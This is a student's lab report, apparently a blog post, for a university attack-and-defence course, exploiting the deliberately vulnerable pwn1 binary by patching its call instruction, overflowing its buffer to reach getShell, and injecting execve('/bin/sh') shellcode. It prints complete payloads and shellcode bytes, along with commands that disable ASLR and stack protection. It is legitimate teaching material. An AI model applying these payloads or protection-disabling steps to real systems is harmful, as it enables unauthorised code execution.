20251913 2025-2026-2 《网络攻防实践》 第9次作业

1.实践内容

实验步骤

1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
3.实验内容
实验一:手工修改可执行文件,改变程序执行流程

  1. 反汇编分析: 使用 objdump -d pwn1 查看 main 函数、foo 函数和 getShell 函数的汇编代码,记录 getShell 函数的入口地址。
  2. 定位 call 指令: 找到 main 函数中 call <foo> 指令的位置(文件偏移地址),确认其机器码格式(E8 + 相对偏移量)。
  3. 计算新偏移: 根据 call 指令的地址和 getShell 的入口地址,计算新的相对偏移量:偏移 = getShell地址 - (call指令地址 + 5)
  4. 十六进制修改: 使用 vim -b pwn1 进入二进制模式,通过 :%!xxd 转换为十六进制视图,找到 call foo 对应的字节位置,将其修改为 call getShell 的新字节。
  5. 保存并验证: :%!xxd -r 还原为二进制后保存,运行 ./pwn1 验证是否成功获取 Shell。

实验二:利用 BOF 漏洞,覆盖返回地址触发 getShell

  1. 漏洞分析: foo 函数中使用 gets()read() 等无边界检查的函数读取用户输入,存在缓冲区溢出漏洞。
  2. 确定偏移量: 使用 gdb 调试 pwn1,在 foo 函数返回前下断点,输入模式字符串(如 AAAABBBBCCCC...),通过观察栈中 ebp 和返回地址被覆盖的位置,计算出缓冲区到返回地址的偏移字节数。
  3. 获取 getShell 地址: 通过 objdump -d pwn1 | grep getShellreadelf -s pwn1 | grep getShell 获取 getShell 函数的入口地址。
  4. 构造 payload: 编写 Python 脚本,payload 结构为:
    payload = b'A' * offset + p32(getShell_addr)
    
  5. 发动攻击: 将 payload 通过管道输入目标程序
  6. 验证结果: 成功执行后将获得 Shell 提示符,可执行 lsid 等命令确认。

实验三:注入自定义 Shellcode 并运行

  1. 编写/获取 Shellcode: 准备一段 execve("/bin/sh", NULL, NULL) 的 Shellcode(32位约24字节,64位约27-31字节),确保不含空字节(\x00)。
  2. 确定溢出空间: 分析 foo 函数中缓冲区的大小,确认是否足够容纳完整 Shellcode。
  3. 选择注入策略(二选一):
    • 方案A — 栈上执行: 将 Shellcode 放入 payload 前端,返回地址覆盖为缓冲区的栈起始地址(需关闭 ASLR 或通过调试获取)。payload 结构:shellcode + padding + 返回地址(指向shellcode)
    • 方案B — 环境变量注入: 将 Shellcode 放入环境变量中,通过 getenv() 或直接计算环境变量的栈地址作为返回地址。
  4. 关闭保护机制: 编译或运行时确保以下保护关闭:
    • execstack: 允许栈上代码执行
    • ASLR: 关闭地址随机化(echo 0 > /proc/sys/kernel/randomize_va_space
  5. 构造 payload:
    payload = shellcode + b'A' * (offset - len(shellcode)) + p32(shellcode_addr)
    
  6. 执行攻击: 将 payload 输入程序,验证是否成功获取 Shell。

2.实践过程

通过命令hostnamectl set-hostname zhouchang修改主机名为本人的姓名拼音,再重启系统,可永久修改,从图中可以看到终端中显示的主机名已经被修改
image
下载实验文件pwn1,再通过命令mv pwn1 pwn20251913修改文件名
image

2.1 修改文件改变程序执行流程

通过命令objdump -d pwn20251913 | more对可执行文件进行反汇编
image
找到main函数,看到如下的代码
80484b5: e8 d7 ff ff ff call 8048491 <foo>是 main 函数里的一条函数调用指令,作用是跳转到地址 0x8048491 处的 foo 函数执行,执行完 foo 后再回到 main 中继续往下运行。
计算foo 函数的入口地址:0x80484ba + (-41) = 0x80484ba - 0x29 = 0x8048491。(call 指令本身占 5 个字节,所以下一条指令的地址是:
0x80484b5 + 5 = 0x80484ba。偏移量 d7 ff ff ff 是 32 位补码,转成十进制是 -41)
image
分析可执行文件,思考如何跳转到getshell函数
计算偏移量:偏移量 = 0x804847d − 0x80484ba= −0x3D=0xFFFFFFC3。 最终机器码为e8 c3 ff ff ff
image
手工修改可执行文件,直接跳转到getShell函数
通过命令vim pwn20251913打开可执行文件,输入:%!xxd打开十六进制显示内容,找到如图所示为位置将d7改为c3
image
通过命令:%!xxd -r 将十六进制转换为原格式,通过命令:wq保存并退出
image
通过命令objdump -d pwn20251913 | more对可执行文件进行反汇编,由图中可以看到,第4步做出的修改成功
image
通过命令./pwn20251913运行修改后的代码,可以看到修改成功,调用getshell函数
image

2.2 利用漏洞构造攻击

通过命令objdump -d pwn20251913 | more对可执行文件进行反汇编,目标是触发getshell函数,可以看到foo和getshell两个函数,foo函数存在缓冲区溢出漏洞
image
分析foo函数:

  • lea -0x1c(%ebp), %eax 表明缓冲区起始地址在 ebp - 0x1c(即 ebp - 28),因此函数在栈上为局部变量预留了 28 字节的空间。
  • foo 是由 main 通过 call 指令调用的。call 会先将返回地址压栈,然后进入 foo 执行 push ebp,再开辟栈帧。所以在当前栈帧中,ebp 指向旧 ebp 的保存位置,ebp+4 处就是返回地址。
  • 从缓冲区起点 ebp-28 到返回地址 ebp+4,总共相隔 28 + 4 = 32 字节(其中 28 字节填充缓冲区,4 字节覆盖旧的 ebp 值)。因此,只要向缓冲区写入 32 字节的任意数据,再紧接着写入目标地址,就可以让函数返回时跳转到那个地址。
  • 如果将目标地址设置为 getShell 函数的入口点 0x0804847d,则程序在执行完 foo 后就会转向 getShell,从而拿到 shell。按照小端序,地址应写为 \x7d\x84\x04\x08,放在输入的第 33 到 36 字节处。

输入命令perl -e 'print "11112222333344445555666677778888\x7d\x84\x04\x08"' > 20251913input构造攻击输入字符串。由于 x86 架构采用小端序存储多字节数据,地址 0x0804847d 在内存中的字节排列应为 \x7d\x84\x04\x08。选用 Perl 的原因是其能直接输出不可打印的二进制字节。
image
通过命令xxd 20251913input查看payload内容
image
输入命令(cat 20251913input; cat) | ./pwn20251913进行测试
image
程序成功进入 getShell(),获取Shell权限。

2.3 注入shellcode并运行

因为我的kali一直无法联网,先在主机浏览器使用 http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb 下载execstack,我的kali虚拟机有vmtools,直接将execstack拖到kali桌面上,使用命令sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb直接安装,使用命令which execstackexecstack --help验证安装是否成功
image
通过命令execstack -s pwn20251913设置堆栈为可执行状态
通过命令execstack -q pwn20251913堆栈是否为可执行状态
image
通过命令more /proc/sys/kernel/randomize_va_space查看地址随机化状态
可以看到是开启状态
image
通过命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化,再通过命令more /proc/sys/kernel/randomize_va_space查看状态
可以看到为关闭状态
image
构造shellcode,通过perl构造字符串perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input20251913
image
通过命令(cat input20251913; cat) | ./pwn20251913设为pwn20251913的输入。通过命令ps -ef | grep pwn20251913查看进程,由图中可以看到进程号为2340
image
使用sudo apt updatesudo apt install gdb命令安装gdb
输入gdb,检查gdb是否安装成功。
image
通过命令attach 2340对pwn20251913程序进行调试
image
通过命令disassemble foo,查看foo函数的ret指令的地址
image
通过命令break *0x080484ae设置断点
image
通过命令info r esp查看esp寄存器的值
image
通过命令x/16x 0xffffd16c查看当前栈顶的值
image
可以构造shellcode为perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 1input20251913
再通过命令(cat 1input20251913;cat) | ./pwn20251913运行程序
调用getShell成功,即攻击成功
image

3.学习中遇到的问题及解决

  • 问题1:kali一直无法联网下载gbd
  • 问题1解决方案:把校园网切换成自己的网,重新开机kali,重新输入下载命令成功下载。
  • 问题2:kali无法下载execstack
  • 问题2解决方案:直接在主机浏览器使用 http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb 下载execstack,拖到kali桌面上,使用命令sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb直接安装,使用命令which execstack和execstack --help验证安装是否成功

4.实践总结

本次实践完成了三个实验,感受颇深。实验一是手工修改可执行文件,用十六进制编辑器直接改 call 指令的机器码,把程序跳转到 getShell 。第一次知道原来二进制文件可以这样“动手术”。实验二是经典的缓冲区溢出攻击,通过 GDB 反复调试确定偏移量,构造 payload 覆盖返回地址。调试过程中经历了无数次段错误,栈布局看了又看,终于成功拿到 Shell 时真的很兴奋,也真正理解了栈帧结构和函数调用的底层原理。实验三是最有挑战性的,注入自己写的 Shellcode 并执行,需要关闭 ASLR、确保栈可执行,还要保证 Shellcode 中不含空字节。三个实验做下来,从“改别人写好的代码”到“覆盖返回地址调用现成函数”再到“注入并运行自己的代码”,每一步都在加深对计算机底层运行机制的理解。

posted @ 2026-05-29 17:17  山楂糖葫芦  阅读(17)  评论(0)    收藏  举报